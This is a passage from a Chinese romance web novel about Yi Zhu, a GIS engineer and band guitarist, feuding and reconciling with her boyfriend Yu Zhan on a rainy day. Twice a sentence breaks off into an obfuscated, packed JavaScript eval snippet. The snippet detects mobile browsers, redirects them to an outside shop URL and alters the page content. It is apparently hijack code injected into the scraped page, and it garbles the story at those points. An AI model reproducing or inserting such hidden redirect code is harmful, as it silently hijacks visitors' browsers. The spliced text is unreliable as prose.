《很扯的雨天》 1. 一个巴掌 伊竺刚从外地出差回来,到公司后连板凳都没坐热,就被经理叫去了办公室。 她这次带着公司眼红了许久的大项目满载而归,经理心情大好,拉着她的手臂关心了一圈后,甚至没有给她任何说话的机会,当即以她宵衣旰食,为公司做出极大贡献为由,给她放了几天假,让她好好休息。 伊竺刚研究生毕业一年,拿到公司offer后便一直忙于工作,直到年初生病休息了一段时间,她才有机会报了驾校练车。伊竺和经理确定好假期的日期后,就立马给驾校的教练打电话商量练车的时间。 假期开始的第一天早上,天还只有蒙蒙亮,床头的手机忽地振动了下,伊竺被吵醒。 她眯眼去瞥微亮的闹钟,6点都没到,早到连邻居家的鸡都还没打鸣的程度,是谁这么没眼力见。 她蹙眉捞过手机,接听电话:“哪位啊?” “伊伊,我真是运气差到家了。昨晚我蹲在直播间准备抢那个小零食,结果我手机突然卡住了,好家伙,直接错过时间。” 伊竺打了个哈欠,迷糊间随便应了句:“哦,那你真挺惨的。” 沈笑:“卧槽,我这会儿还在替自己一夜没睡却空手而归感到十分惋惜。都怪他们拼命炒作,不然我也不会傻到熬夜。” “你说运气不太行的时候去哪旅游比较好,我要去把我的运气通通找回来!” 伊竺:“或许你可以去太行山转一圈试试。” “?”沈笑疑惑,“有什么说法?” “字面意思,自己悟去。你好好玩,要真有效果的话,到时候回来了,记得包个大红包谢我。” 伊竺说完便胡乱地掐断电话。 . 没过多久,电话铃声又响了。 伊竺烦躁地揉了把脸。 肯定又是沈笑,除了她根本没有人会这么不懂事地一而再再而三吵她睡觉。 伊竺接起电话:“又什么事儿?” 那头安静了片刻,传来兴师问罪的声音:“你们年轻人还真是没有一点时间观念,我都在你家楼下等半小时了,你连个影都没有,怎么着,觉得我不敢体罚学生……” 伊竺眼皮下意识地跳了下,随后立马反应过来,翻身下床,以最快的速度跑到窗边。 果不其然,居民楼下停着辆老旧的教练车,早已经坐进副驾驶的教练此刻正顶着他那没几撮毛的地中海脑袋抬头往楼上瞟。 “你速度快点,别待会儿人多了又害怕地横冲直撞,虽说我这边有刹车,但我也没办法每时每刻都看着你在这开得跟野猪发疯似的……” “……” 伊竺看了眼手机,自己和教练约定好的时间是5:40,此刻已经超过了整整20分钟。 她有些懊恼,自己平时是个时间观念还挺强的人,喜欢给生活中的每件琐事都做好规划,闹钟每隔半小时响一次。 工作日的早上要点杯冰美式消肿提神,要吃钙片,晚上要管好身体各方面的保养工作……不管有用没用,她都觉得这样做会更安心,这才让自己看上去有了点精致的都市丽人模样,却没想刚放假自己就开始犯了懒。 伊竺快速洗完漱,冲出了家门。 教练是个急性子,在她坐进驾驶室的那刻又开始了他的碎嘴:“你们女孩子出个门还真要跟蜗牛比谁更慢吗?约定好的时间过个两分钟也就算了,直接超二十分钟这像话吗?” “……”讲就讲,又扯上女孩干嘛?女孩的活法成千上万种,他显然以偏概全了。 教练见她没搭话,就以为她已经听进去了,自知无趣地叫她点火准备起步。 说实话,半年多没碰到方向盘,伊竺早已经将学过的知识忘得一干二净。 唯一记得的就是些基础到不能更基础的操作,比如说像点火、挂档、踩离合、挂档、松离合、走起这类只要手脚完好就能上手的知识,她在心里默念了遍顺序,开始进行实战操作。 教练正心无旁骛地玩着手机,伊竺随意地瞥了眼便收回视线,她点了火,左脚踩上离合,右脚找到刹车,准备启动,然而“轰”的一声,车还没动就自己熄火了。 教练眼睛还紧盯着屏幕,头也不回地蹙眉提醒她:“考试时熄火扣100分,到时候考官直接把你赶下车。” “……” 伊竺在心里又默念了遍,重新点火,下秒车就如脱缰的野马般冲了出去。 坐在身侧的教练下意识地丢了手机握紧头顶上方的把手:“踩刹车踩刹车,要撞到前车了!” 伊竺淡定地踩住刹车,车速慢了下来。 教练脱力地松开把手,拍着心脏做深呼吸。 “不是,你赶着起飞啊!人家在练车前,第一句都会先在心里打个小草稿,你是怎么着,直接让前面的人闪开闪开啊!你大老板啊!这条路你造的啊!” 教练连用四个“啊”来突出他此刻内心有多慌张,伊竺侧头朝他笑了笑:“不小心踩错了而已,而且您不是说您那边有刹车嘛,我以为您会每时每刻都保护我的安危呢。” 教练被噎住,尴尬地扣着手指:“我明明提醒过说我不可能每时每刻都紧盯着你,你也需要发挥空间的不是?” 伊竺扬唇轻笑了声:“那您给我的发挥空间真大,瞧我这都可以直接飞起上天了。” “……” . 每天练车的上限是四小时。 时间一到教练便问伊竺接下来要去哪。 伊竺读研时在课余时间加入了一个乐队,前几天队长在群里通知,他们晚上在滨海路的青旅有场livehouse,伊竺得回家去取乐谱和吉他,她记得教练跟她不顺路,于是就让他在路边的咖啡店前将自己放下。 今日天气闷热,一场急雨蓦然砸向地面。这场雨来得猝不及防,行人脸色匆匆,将包顶在头上跑去路边的屋檐下躲雨。 檐下站满了人,这倒显得站在雨幕中发愣的伊竺有些奇怪,好像有点不合群。有人以为她是没找着躲雨的地方,便冲进雨里将她拉到屋檐底下。 女孩温软的声音透过噪杂的喊叫声传进她的耳里:“对不起,你应该没有急事的吧。” 她有些抱歉地再次同伊竺做出解释:“我以为你是没找到躲雨的地方,所以就拉你进来了。” 乐队演出在晚上,还有段时间,她确实不急的。伊竺朝她摆手:“没关系,我没急事。” 女孩拍了拍胸脯缓气:“没有就好。” 她侧头多看了伊竺几眼,许是觉得她有些眼熟,女孩小心地凑近又看了眼。 “你是不是Dervla乐队的那个……吉他手?” 伊竺的乐队不太有名,如今活动了几年,也一直不温不火,她没想到有人会知道自己,略有些惊喜地回眸瞧她:“是我。” 她话音刚落,女孩便扑过来抱住她手臂:“哇!我是你的粉丝,我竟然见到偶像了。” “你能给我签个名吗,或者合个照也行!” 伊竺实在拗不过她,和她照了张相。 “谢谢,谢谢。” 女孩立马编辑了条消息发到朋友圈炫耀。 伊竺就站在她身侧,瞥见她发送的内容。 【快看!是我偶像!简直就是美神降临!哼哼~下辈子我要预订这张脸,谁也别跟我抢!】 她刚发出去不久就收获了好几个点赞,获赞速度比她平时在乐队总博发消息时还要快上许多。 伊竺被她带得有些情绪高涨,抬起视线瞧了眼身旁那个满面春风的女孩,在心底感慨了一句年轻真好,看上去活力满满的,让人好生喜欢。 嘴角动了动,心里也痒得难耐,伊竺举起手机,对着漆黑的屏幕绽出一个自以为灿烂的笑容。 真诡异,像提线木偶慢慢吊起了嘴角,笑得机械又滑稽。 她在心里呵呵一笑,还是觉得有点遗憾,自己这辈子注定不能成为像相原琴子那样可爱美好的女孩了。 手机突然发出“叮咚”一声轻响,适时打断了她的思绪。消息是他们乐队的队长发来的,他在提醒伊竺不要忘记时间。 伊竺正准备回他消息,那头又弹来一句。 大褚:对了,我刚刚布置现场的时候没有看见老板,记得你好像说过那是他特意给咱保留的场地,你有他联系方式吗? :我有。 大褚:那你联系一下他吧,咱这场地是他找的,设施设备也是他出钱给拼的。他做了这么多,我和藤子哥们几个都觉得要当面谢谢他才行,但就是一直没找到机会。 :行,我过会儿问问。 那头没了消息。 伊竺也退出和他的聊天框,在通讯录里找到青旅老板。他依旧是那个极简风的卡通头像,画风离谱但胜在好认。她点开聊天框,屏幕上赫然躺着他们最近不到十句话的聊天记录。 伊竺这才想起来,他俩刚冷战结束。 今天是他们重归于“好”的第四天。 她挑了挑眉,懒得想太多,快速打字发过去:“今天我们乐队在你滨海路的那家青旅里有演出,有时间过来吗?” 这次倒是回得很快:“没空。” 伊竺就知道他还会是这副鬼德行。 青旅老板其实是她已经交往了一个年多的对象,叫喻湛。自从他们在一起并交换微信开始聊天后,她每次邀请喻湛去听演出,他总能有几百个理由敷衍她。 这次倒好,干脆连敷衍都省了。 不过,他算是踢到铁板了。伊竺这辈子最干不出来的事儿,就是热脸倒贴冷屁股。她也冷他:“哦,行呗,那你别来了。” “我真在忙。”那头许是没想到她的情绪竟然能来得这么快,立刻跟她解释。 怕她不信,他又传来一条视频。男人修长的指尖在键盘上疯狂跳动,镜头一转,密密麻麻的文字堆在电脑屏幕上。 他如今混得还算不错,研究生毕业后就直接进了国企,他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16969781|193434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 工作前途好,工资高,对伊竺也算大方。除了经常忙得见不到人影外,伊竺觉得,跟他谈恋爱好像……也没有什么坏处。 她看得有些头晕,将手机屏幕拉远了些,真没话跟他说,索性直接切断了话题:“哦,你忙去吧。” 伊竺一直明白一个道理,跟男人计较,就是让自己遭罪。她宁愿花时间对自己好些,让自己有底气去面对这个纷繁杂乱的世界。更何况,人长了腿,就总有跑路的那一天。她不能百分百保证,喻湛是能留下来的人。就算是她自己,也没法指天发誓说出这种话。 她要把主动权牢牢抓到自己手里。 即使最后这段感情真到了要跑路的地步,那她也必须是先跑的那个。 伊竺想,就算成为不了单纯直率、乐观坚毅的琴子,她也要做好自己,成为一个天衣无缝、无懈可击的女强人伊竺。 · 喻湛坐在书桌前,双眸紧紧盯着手机屏幕。那头已然无话可讲,都快五分钟了,对话框里也没跳出半句他爱看的话。 他认命地关掉手机,放在一旁,企图集中注意力去继续工作,但脑海中却一直不听话地萦绕着伊竺那张面对他时总是不咸不淡的脸庞。 细长的眉,淡然的眸,紧抿的唇,再配上她偶尔略显不耐的神情,这就是她经常给他看的脸色。这有谁能看出来他俩是情侣的,不知道的还以为他俩是互相不对付的死对头。 随时要弄死对方的那种。 喻湛指尖在键盘上停顿了几秒,不甘心地调转了个方向,又重新拿起手机,点开和伊竺的聊天框。 依旧没有消息。 喻湛在心里不服气地哼了一声,他再盯着看,他就是狗。 他再对伊竺有期待,他就是猪。 她现在倒是硬气起来了,忙的时候不回他消息,闲的时候也想不到要来找他。好不容易联系一次,语气竟还如此生硬。 好像除了跟他聊天,她什么事都可以做。 他知道伊竺是个要强的人,什么事都能做到最好,她有自己的想法和见解。但他也有自尊,受不了就这样被她晾着。 喻湛泄气地靠上椅背,抬起指尖烦躁地揉了把头发,眉心慢慢聚起一团哀怨,他闭眼叹出一口气,起身打开房门,准备去厨房接杯凉水喝,降降身上的那股烦闷。 室友陆巡刚从外面回来,今天是周末,他们都休息。虽然公司一直提倡双休,但依旧有一箩筐的破事亟待处理。喻湛是个眼里见不得工作堆叠起来能压死自己的主,所以即使有双休,他也会额外再做点。 但陆巡显然不是,他此刻正提着大袋小袋的零食,带着一人份的潮湿钻进屋里。 这间屋子是喻湛和陆巡当初实习时为了离公司近点才一起租的,本来等拿到正式offer后就退租,到时喻湛住滨海路的青旅,陆巡住家里。但计算了一圈后,他们发现这块依旧是最短的通勤地点,价格也合适,所以商量后选择续约。 陆巡赶在喻湛之前先进了厨房,从冰箱里拿出一罐冰可乐,拉开拉环猛灌了一口,他转过头准备回房间,结果就瞧见盯着手机屏幕、一脸幽怨的喻湛一头撞上了玻璃门。 “砰”的一声巨响,吓得陆巡差点没握住手中的可乐罐,应激地往自己那件纯白T恤上洒了几点深棕色的水渍。 陆巡都顾不上抱怨,视线在喻湛身上扫视了一圈,这哥们今天实在太反常了,绝对有情况!吃瓜雷达当即启动,他蹑手蹑脚地凑近,趁喻湛没注意,快速瞥了眼他的屏幕。 映入眼帘的便是一个非常具有冲击性的备注。 战斗蝴蝶。 以及他和这只战斗蝴蝶非常简洁的一页对话。 战斗蝴蝶:给你留了票。 :有事,下次吧。 战斗蝴蝶:来? :在加班。 战斗蝴蝶:以后不来就别回,看了糟心。 :…… :朋友说这部电影好看,一起去看嘛? :? :怎么不回消息。 战斗蝴蝶:引用:以后不来就别回,看了糟心。 战斗蝴蝶:我以为这句话已成共识。 :以后不来请回我,不然我不知道你是什么意思。 战斗蝴蝶:1 :什么意思? 战斗蝴蝶:不来。 战斗蝴蝶:你不是让我回你。 :…… 倒是有来有回,但细看,全都是一些可有可无的废话。 陆巡正垂眸深入地思考着这只战斗蝴蝶到底是谁,怎么这么有种,跟喻湛这么个一言不合就左手抓起抱枕扔,右手提起鸡毛掸子打的臭脸少爷都敢如此说话,这只战斗蝴蝶和喻湛什么关系,自己有没有可能认识…… 陆巡还没思考出个所以然来,就瞧见方才还一脸茫然站在自己面前的喻湛眼中突然闪过一丝顿悟的光芒。 他快速转身,扯过衣架上的外套,急切地跑出家门。 2. 一颗甜枣 “外面下雨了,带把伞吧,喻湛!” 陆巡话音还未落下,喻湛的身影便已消失在电梯里了。 得,管他急着去见谁,反正感冒了,陆巡是一概不负责的。 · 伊竺最讨厌下雨天闷湿潮热的感觉。 她到家的时候,身上已然出了一身薄汗。去外地出差前,伊竺特意打开窗户,给房间通过风了,但她走时忘了关窗,再加这几日黎映的天气总是阴晴不定,细雨下过好几阵,此刻屋里弥漫着一股散不去的湿腻。 她关上窗,打开空调,调至适宜的温度后,才去厨房准备给自己煮碗番茄鸡蛋面吃。 冰箱早已空了,面是没法做成了。 伊竺只好饿着肚子先去洗了个澡,换上一身干净的衣服,随后拎上雨伞和客厅花瓶里那束早已枯萎的满天星出了家门。 伊竺刚丢完垃圾,就收到了研究生室友和暮的吃饭邀请。 和暮家里有矿,读研时自己每月的花销就不小,结果还心系着寝室里那几位将日子过得紧巴巴的室友。她最不喜人拒绝,所以伊竺想也没想就直接应下了。 和暮是黎映本地人,她父母开了家服装公司在这,攒钱已经给她买好了房和车。她当初和伊竺读的都是地理科学,但她的梦想一直是文学,所以申了黎大的博,现在正在读博一。 伊竺从来没有读博的打算,当初毕业后还犹豫过要不要继续留在黎映,后来她发现自己实在割舍不下Dervla,跟她家伊女士商量后选择了黎映的一家地理信息技术公司工作。 这一年时间,她从刚开始的数据整理文员做到三维GIS开发工程师,从之前无人在意的小透明到如今谁都要来调侃一句的“内卷王”。所以当经理再次搬出那套宵衣旰食的说辞时,她已经能够厚脸皮地欣然接受了。 伊竺家离和暮定的饭店有点距离,路上堵车又耽搁了点时间,等她赶过去的时候,和暮早已点好了菜。 和暮一眼就看到推门进来的伊竺,朝她招了招手:“伊伊,这儿这儿。” 有一年没见了,她却依旧这么热情。伊竺将伞放在寄存处,快步朝她走去。和暮叫来服务员,让她们给这桌上菜。 伊竺一直都很好奇一件事,她当初读研时其实挺不合群的,性子冷,喜欢独来独往,虽说跟寝室里的人话是多了些,但也从来没有过什么深入交流,那如今她们一个个怎么都还愿意跟她联系的? 想起今早堪比闹钟的沈笑,又看看眼前抻着脑袋紧盯她的和暮,以及那位能记住每个室友生日、每次都能踩点发祝福、记忆力极其强悍的前室长章施华,伊竺忍不住扬起唇角。她发现,不知何时,自己已经记住了跟她们之间的无数瞬间。 朋友这个词在她心中也开始有了很重的分量。 “你猜我刚刚看到了谁?”和暮突然发问。 伊竺其实挺不想知道她看到了谁,毕竟能让和暮用如此惊讶的语气说出来的人不是帅哥,就是一群帅哥。伊竺对帅哥不感兴趣,但不想扫她面子,还是惜字如金地问:“谁?” “之前在我们隔壁黎映理工读研的喻湛。” 喻湛?哦,喻湛啊。 他们前不久刚聊过天,但是没聊几句就不欢而散了。他不是在忙吗?甚至还发来一段视频自证清白。 呵呵,原来都是骗人的。 “他穿着件睡衣就搁大街上跑,外头雨下挺大的,他也不带伞,真奇怪。”和暮还在继续说。 伊竺只觉得吃饭的心情都快没了,她不想听到任何有关喻湛的消息,也不是很在意他为什么雨天穿睡衣在大街上跑,更不在意别人怎么看他。他就算被雨砸死了,也跟自己无关。 伊竺在心底发誓,她再管喻湛的闲事,她就是狗。 她再主动联系喻湛,她就是猪。 吃完饭后,和暮说要开车送伊竺回家。伊竺没有拒绝,但她租的是高档小区,对车辆管控比较严格,没有登记的车根本开不进去,和暮直道非常遗憾,将她放在了小区门口。 伊竺依旧记得自己今天出门的目的,打上伞,拐去了附近的生活超市。 买完菜出来,已是下午两点。 雨已经停了,风清气爽,天高云淡。伊竺吸了一口新鲜空气,只觉浑身爽利,荡着手中的购物袋,慢悠悠地走回小区。 · 伊竺真的想视若无物。 但他站在那处又着实碍眼。 打绺的黑发,憔悴的脸庞,湿透的睡衣,以及跑掉一只的拖鞋,说他今日兴致好,在cos落汤鸡都不为过。 伊竺在心底啧叹一声,暗骂他简直有病。 见也见过了,这种情况下,确实没必要开口破坏氛围,免得一张嘴就如第三次世界大战,俩人吵得气短脖子粗,谁也不肯让谁,伊竺在心底肯定了自己的想法,拎着购物袋头也不回地在他面前走过。乌发倔强地一撇,落下残影。 就这样吧,无所谓了。她在心里想。 · 喻湛有时候是真挺佩服伊竺的。无欲无求不说,她到底是怎么做到面对任何事都能够坦然自若的? 就像方才,他揣着颗满怀期待的心来找她,按照某音网友描述的进度,接下来伊竺应该感动哭泣才对,但她却面无表情地给他留下一个高冷背影。 喻湛怀疑那个网友在骗自己,上评论区讨伐他,但对方却甩来一张他已抱得美人归的证据,证明了这套方法绝对有用。 指尖刚点起的炮瞬间哑了火。 行了,他知道了,敢情这套只是在他手上没用呗。喻湛不再挣扎,心脏也早已落空。白跑一趟就是对他今天无所事事的惩罚,他决定回去后就猛干个项目,给自己洗洗脑。 他的脑子里不该只有伊竺。 . 曹操果然是禁不起想念的。 喻湛前脚刚说要把脑子里正在作乱的伊竺给擦干净,后脚他的眼睛就被伊竺填满了。好近的距离,再叠上她身上清淡的香水味,喻湛只觉得自己脑子又开始泛起眩晕。 但她只是在他的周身嗅了嗅,就嫌弃地跳出几米:“你身上有股被水泡发的臭味。” 喻湛嘴角刚漾起的笑意紧急收回,这人到底能不能好好说话?他现在正是脆弱的时候,她怎么能说这种话。 她突然朝他勾了勾手指:“去我家?” “去你家?”喻湛乐了,这话他爱听啊。 他知道自己的好心情已经飘到了脸上,他一点也不在意。 “嗯。洗洗你身上的味道,再换套干爽的衣服,我再煮点姜茶给你喝,省得到时候感冒了你又要赖我。” 又说这种话,喻湛在心底哼了一声,他能是这么斤斤计较的人嘛。 但很快他就发现了某处被伊竺一带而过的重点:“你家有男士衣服?” 这算什么事?还有其他男人在她家住过? 他作为伊竺的男朋友,可连她家的大门都没迈进去过。 伊竺不言反笑,抱着胳膊审视了他好一会儿,啧了声:“身材倒是挺像,你应该能穿下。” “?” 看来对方是个挺一般的人。 喻湛这段时间确实因为工作原因很少去健身房锻炼了,他承认自己偷了会儿懒,身上的肌肉流失了些。但……但她到底是怎么知道那人身材的?亲眼看过?亲手摸过?还是……! “走不走?”伊竺瞥他一眼。 喻湛已经烦透了,但还是跟在她身后去了她家。他倒想看看,到底是哪个胆大妄为的男人竟然敢住他女朋友家里。 伊竺的家不大,但装修温馨。 这是她们家伊女士执意要给她租的,说她一个女孩离家太远,若是连住的地方都很勉强,到时保不齐会觉得心累。 那时伊女士连选了四套市中心好地段的房子供伊竺挑选,她们家也不过是小康水平,底下还有个生病的妹妹要养,伊竺不想花太多钱,但又不想让伊女士太担心,纠结了许久后,才选了这套麻雀虽小,但五脏俱全的房子。 伊竺刚开始工作的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16969782|193434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时候,工资连养活自己都不够,每月甚至还要家里给倒贴一些,伊女士让她不要担心,她现在还有能力可以养家。大不了等伊竺升职加薪后,就全权交给她自己负责。伊竺听了这话后,绷着的弦才松了些。 如今她的工资是家里之最,不仅能养活自己,还能交满每月房租。所以她每隔一段时间就会往家里寄钱,权当是买伊女士当初为了提高她生活质量所额外付出的那些精力和时间。 喻湛站在玄关处,快速扫了一圈她的屋子。 不大,就一室一厅一卫一厨,再外加一个小阳台。 那男的之前能住哪? 伊竺从衣柜里拿出一套男士休闲服塞进他的怀里,看他慢吞吞地换完鞋后,就督促他快点去洗澡。 她将购物袋里的菜全都分类装好,找了块姜切成片,丢进烧水的罐里。 姜茶烧好的时候,喻湛也正好从浴室里出来,潮湿的水汽随着他移动的脚步蔓延。他可能觉得穿别人的衣服不太自在,用两根手指揪起衣襟,凑近闻了闻。 伊竺觉得他有病,就是件普通衣服,能有什么味儿? 但喻湛显然有自己的思考,他闻完后,眉心快速聚成一团,对上了伊竺的视线,又倏地松开。他屁颠屁颠地跑到伊竺面前,隔着中岛台,胳膊撑在台面上,双眸雪亮,眉眼舒展。 笑屁哦。伊竺看着他的笑容,觉得有些不爽。她还没完全原谅他,想起喻湛刚才给自己发来的消息,那是何其的敷衍人。不止刚才,还有以前的许多许多。 在一起这么久了,他们连句正常的对话都没有。想到这里,伊竺的脸色又冷了几分。她就该活剥了他的皮,看看他的心到底是什么颜色。他这么莫名其妙,冷是他,热也是他,耍人团团转的还是他。他的心就算不是黑的,也该是深棕、藏蓝这种接近黑色的颜色。 伊竺盛了碗姜茶推给他,杯底的湿痕被拖出一条印记,茶水荡漾,冒着热气。喻湛的视线落在杯子上,随后又看向伊竺面前的那个。 他有时候真想治治自己的疑心病,但耐不住此刻真相就摆在了眼前。到底是什么人?都已经到了要用情侣杯的地步。 他都没有这个待遇。 伊竺当然知道他在想什么,她就是故意的。她必须承认,喻湛突然跑来找她的这招对她非常适用,但她也不能落了下风,方才在楼底下不过小小的试探了一下,喻湛便已经方寸大乱了。他好像很想知道她是否跟别的男人有过交集,但他平日里也并没有多在意她,为何今日会突然出现这么大的反应? 他果真很莫名其妙。 “连杯子都是一套,你……”他像是犹豫了许久才问出口。 “喻湛。”伊竺清楚他接下来要问的话跟自己心里设想的一样,于是就这样奇怪地冒出了一句。 喻湛停止了自己的思考,抬眸望向她。但等了许久,也没听见她后面的话。 这人突然喊他干嘛?喊完也不讲话,害他紧张了一下。 伊竺脑袋歪向一侧,凝眸瞧着他。她看明白了,自己方才故意抛出来的那个无中生有的矛盾,好像确实能勾起喻湛的某种情绪。原来他也会有情绪。伊竺自诩是个不期待爱情的人,但有时候落单久了,看到身边的人都拥有了一切,她也会想,她和喻湛之间,怎么就不是这样的呢。 她又朝喻湛勾了勾手指。 喻湛觉得自己此刻很像一只伊竺能够召之即来呼之即去的狗。他垂眼看着她有所动作的手指,隐隐之间似有电流窜过,他慢慢俯身,将下巴递了过去。 姜茶缓缓升起的白气笼罩住喻湛的脸庞,像给他开了高斯模糊的朦胧模式。伊竺被他突然凑近的动作吓到,脸上第一次露出了惊慌的表情,但很快她便恢复了原先那副游刃有余的模样,指尖微动,轻轻挠了挠他的下巴。 喻湛眉头一跳,抿起蠢蠢欲动的唇角。 他若是长了尾巴,此刻一定摇得飞快。 于是,他心情一好,就像得到奖励那般,畅快地哼哼两声:“叫我干嘛?” 3. 一个巴掌 伊竺收回手:“你为什么会过来?” 她想起方才自己在楼梯口所看到的场景。喻湛滑稽地站在银杏树下,并没有因为自己给他甩脸色看而愤愤离开。楼梯间的灯明明灭灭了好几轮,他的身形也倚然不动。 伊竺觉得自己不太能理解他的所作所为,但看在他愿意为自己花心思,且还算有心的份上,她脚步顿住,勉为其难地走回他面前,邀请他去家里喝碗姜茶。 如此也刚好免去了她以后想起来会觉得良心不安的可能。 喻湛当然不会同伊竺说出自己被人骗了的真相,只觉得她完全没有良心,对于他方才的疑问,她不争辩也不解释,反而还转移话题,留他一肚子的火。他不服气地冒出一个“哼”的鼻音,摆出一副要让她好好猜猜的傲慢姿态。 神经。伊竺不但不想猜,还偷偷翻了个白眼。 她发现喻湛就是这个世上最会装腔作势的人。给他点好脸色,他还真能顺着杆子直接上天了。 “衣服是我爸的。”她看了喻湛一眼,还是如他所愿,“他前段时间来黎映出差,我刚好不在,他嫌酒店不舒服,就在家里睡了几晚,这套衣服是他穿过的,我已经洗了,没味儿。” 喻湛垂眸瞧了一眼,心里的那阵别扭劲儿立马就过去了,只道难怪这件衣服如此温暖,原来都是父爱的力量。 “至于杯子……” 杯子又怎么了?杯子难道还有故事?喻湛刚消了点火头。 “是我爸买的,说我独居,人身安全没保障,可以在家里摆上一些男士用品,万一哪天被歹人盯上,”伊竺挑挑眉梢,像是故意说给他听的,“也好让他知道这屋有男主人,不好惹。” 行了,他知道了,敢情她叽里咕噜说了半天,就是把他算到了歹人的那头呗。她可真是歹毒啊。喻湛算是看明白了,伊竺就是个为达目的不择手段的人。 他嘴角彻底耷了下来,看来今天不在她面前说清楚自己突然跑过来找她的原因,她是不会善罢甘休了。 “我有话要说。”他给自己找了个台阶下。 “说。”伊竺很满意自己的成果,爽快地应。 “我就是特意来找你的。” “你不是没空吗?” 偏要阴阳怪气来这一句,喻湛心里想着,他当时不过在气她跟自己说话的语气太过生硬罢了。 “时间就像海绵,挤挤总是有的。”他回以一句阴阳怪气。 “哦,是嘛,那我晚上的演出还能不能去?” 喻湛为难了:“我……真没时间。” 她都不知道,为了找理由来见她,他做了多少思想准备,花了多少宝贵时间。有这功夫,他都能研究出一张图纸来了。 伊竺确实不知道,她只怀疑自己被耍了:“出去。” 喻湛:“?” 去哪?不还聊着天吗? 他眼巴巴的:“我姜茶都还没喝呢。” “喝完姜茶就给我出去。” 眼见着这地是快待不下去了,他瘫在中岛台上,拼死一搏:“为了来见你,我连午饭都没吃,肚子老饿了。” “哦,跟我有什么关系。” 喻湛看起来很想解决问题,直起身,小心翼翼地发问:“伊竺,我又做错什么了吗?” 他错就错在一而再再而三地拒绝她。不对,他就没做对过一件事情,包括在她气头上突然跑过来找她,害她白高兴了一下,以为能有事好商量了,结果换来的却是他的又一次拒绝。 他明知道舞台对于伊竺来说有多重要,也清楚伊竺有多看中自己的每次演出。机会来之不易,票也不是大风刮来的,虽然他们乐队一直不温不火,但每次开始售票都是不到一分钟就被一扫而空了。他们作为乐队队员也没有余票,她每次都给他抢了座,到头来他一点都不在意。 于是她咬牙切齿地回:“你当我们演出的票这么好拿吗?我每次也是费了九牛二虎之力才抢过来的。给你留,你不来,这就是浪费你知道吗?有多少人想看还看不到呢。” 原来问题出在这。喻湛又乐呵起来,觉得自己有机会补救,所以直接原地滑跪:“我知道了,对不起。” “知道了就行,喝完姜茶就给我走。” “……”怎么又绕回来了! . 伊女士打来电话的时候,伊竺正将喻湛的鞋子扔了出去。 方才他喝完姜茶后,他的睡衣也正好烘干了。伊竺好心地给了他一点换衣服的时间,他却磨磨蹭蹭,好像换衣服是天底下的一件无敌大难事,迟迟不肯换好。伊竺没了耐心,直接上手扯好他的衣服,拎着他的领口将他推出家门。 成天唧唧歪歪的,到底是不是个男人。 那可怜到仅剩一只的拖鞋触地反弹,又重重落下,他就光脚站在一旁,看着那样的场景,表情有些受伤。又开始了,他戏精上身也不是一天两天的事了,当初没去当演员,也真是浪费了他这一身没用的天赋。 伊竺都不想多说,“砰”的一声关好门。 门板轻微地振动了下。 她站在门后,心也终于平静下来。 他的拖鞋只剩了一只,过会儿该怎么走回去?伊竺直道他是个麻烦精,打开门,将他方才穿过的那双拖鞋也丢了出去。 她不想再跟喻湛说话,正欲关门,他却眼疾手快地拉住门把,将整个身子凑过来。真讨厌,又意外地给了他一个机会。 “有话快说。”她依旧是那副模样。 “对不起。” “除了对不起呢?” 他只盯着她,没说话。 真是个坏东西,他根本不知道自己错哪了。 伊竺踢了他一脚,趁机想关门。 他却突然说:“我给你个惊喜吧!” 神经。谁稀罕你的惊喜。伊竺淡漠地瞥他一眼,用力踩在喻湛的脚背上,他疼得直冒泪花,发出一声嚎叫。 狗东西,带着你的破惊喜给我远航吧。 她没再看喻湛的糗样,将门关好,接通了电话,那头伊女士的大嗓门立刻穿了过来:“小猪啊……” “妈,别叫我小猪。”她现在一听到“猪”字就烦。前不久她刚发完誓,再主动联系喻湛,她就是猪。虽然她不是很想承认,但刚才她确实主动找他了。 她现在刚好有点应激。 伊女士:“你过年回家成天就躺被窝里,把自己裹得跟球一样,我可不就是在养小猪嘛。” 伊竺无言以对,只好转移话题:“妈,找我什么事?” “最近怎么样?你好久没给妈妈打电话了,妹妹也说想你。你爸爸在你那住了几天,说没见到你有点不甘心,都不想回家呢。”伊女士最爱把一件平常的事夸张化,伊竺早就习惯了。 “前段时间实在太忙了,没抽出时间。” 伊女士:“行了,我还不知道你吗?你指定是没话跟咱们聊。你没事就行,在那边要照顾好自己,冷了就多添点厚衣服,多喝热水。你现在在北方,跟家里这边的气候不一样,不能为了风度不要温度,听见没?” 伊竺轻笑:“知道了。” “还有你往我卡里打的那些钱,我全都退回去了,你年纪不小了,既然决定要在那边发展,那一直没房没车的也不行。我看你现在已经积攒起一些了,要不先买辆代步车吧,就算现在有点小钱,也禁不起你每天都打车啊。” “……妈,你莫非忘了,我驾照还没考出来。” 伊女士:“啊,还真忘了。” “……” “那先不说这些。以后你也别老想着往家里寄钱了,现在不用养你,家里头都富裕着呢。前不久,你老爹突然心血来潮拉着我和妹妹去买了黄金首饰,你说结婚这么多年,他哪时候有想起过要给我这糟糠妻买首饰的。还得是孩子大了,有了自己的工作,不再花家里钱……” 伊竺:“……” “行了,我知道你现在很无语,妹妹有话要跟你说。”那头交接了电话,伊芮脆生生地喊她姐姐,“我这次化学考了满分!” 伊竺当初虽没选化学,但她学过,她对化学是一窍不通,所以知道伊芮化学考满分的含金量,她果真相当厉害。 